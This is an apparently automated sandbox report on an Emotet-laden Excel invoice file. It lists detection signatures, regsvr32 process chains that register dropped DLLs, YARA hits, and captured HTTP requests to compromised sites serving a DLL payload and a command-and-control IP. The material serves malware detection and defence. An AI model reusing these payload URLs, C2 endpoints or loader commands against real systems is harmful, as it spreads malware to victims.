Edit tour

Windows Analysis Report
Rechnung.xls

Overview

General Information

Sample Name:	Rechnung.xls
Analysis ID:	632078
MD5:	9729363a5cdfee2598f93545b933043e
SHA1:	be0c2937e23a7359a04366e9b27ccf1e3c32ee1f
SHA256:	2b0db62c56ce0553d5ba8842a53d17ff5d0b66ad397c3b9565af1cfe48e19364
Tags:	xls
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2560 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2632 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2440 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2548 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1952 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1252 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2208 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\GistaKepWrpVA\oAaDhgd.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1216 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.1240649290.00000000001D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.943959485.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.953530856.00000000003D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.1240847022.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.935688692.0000000000150000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.1241152796.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.953780664.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.943507589.00000000002F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1240660919.00000000002E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.1241141714.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.regsvr32.exe.1d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.3d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.3d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.1fe0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.2f0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.1fe0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.1d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.2e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.150000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.2e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.2f0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.150000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 7 entries

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 07:19:19 GMTServer: ApacheX-Powered-By: PHP/7.2.34Cache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 07:19:19 GMTContent-Disposition: attachment; filename="me435CErJsFGw1q.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b3577889f1=1653290359; expires=Mon, 23-May-2022 07:20:19 GMT; Max-Age=60; path=/Upgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Mon, 23 May 2022 07:19:19 GMTContent-Length: 365056Vary: Accept-EncodingStrict-Transport-Security: max-age=300Keep-Alive: timeout=5Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b

Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/iMc/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: airliftlimo.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: vipteck.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: salledemode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kabeonet.plConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.kabeonet.plConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49177 -> 173.82.82.196:8080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 23 May 2022 07:19:31 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.kabeonet.pl/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, Keep-AliveKeep-Alive: timeout=2, max=100Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 31 66 30 30 0d 0a 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 0d 0a 09 09 0d 0a 09 09 09 4e 69 65 20 7a 6e 61 6c 65 7a 69 6f 6e 6f 20 73 74 72 6f 6e 79 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 09 09 0d 0a 09 09 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 31 30 30 2c 33 30 30 26 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 09 09 0d 0a 20 20 20 20 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 39 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6c 5f 50 4c 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 74 72 6f 6e 79 20 6

Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196

Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1240826221.00000000003DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000004.00000002.1240790181.000000000040A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.1001580079.000000000040A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000006.00000002.1240795899.00000000003BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000006.00000002.1240812626.00000000003CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enL
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1240826221.00000000003DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000006.00000002.1240795899.00000000003BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/
Source: regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/C01-
Source: regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196/l
Source: regsvr32.exe, 00000004.00000003.1001613039.000000000043E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1240840830.000000000043E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1240812626.00000000003CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/
Source: regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/H
Source: regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://173.82.82.196:8080/L
Source: regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1240826221.00000000003DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

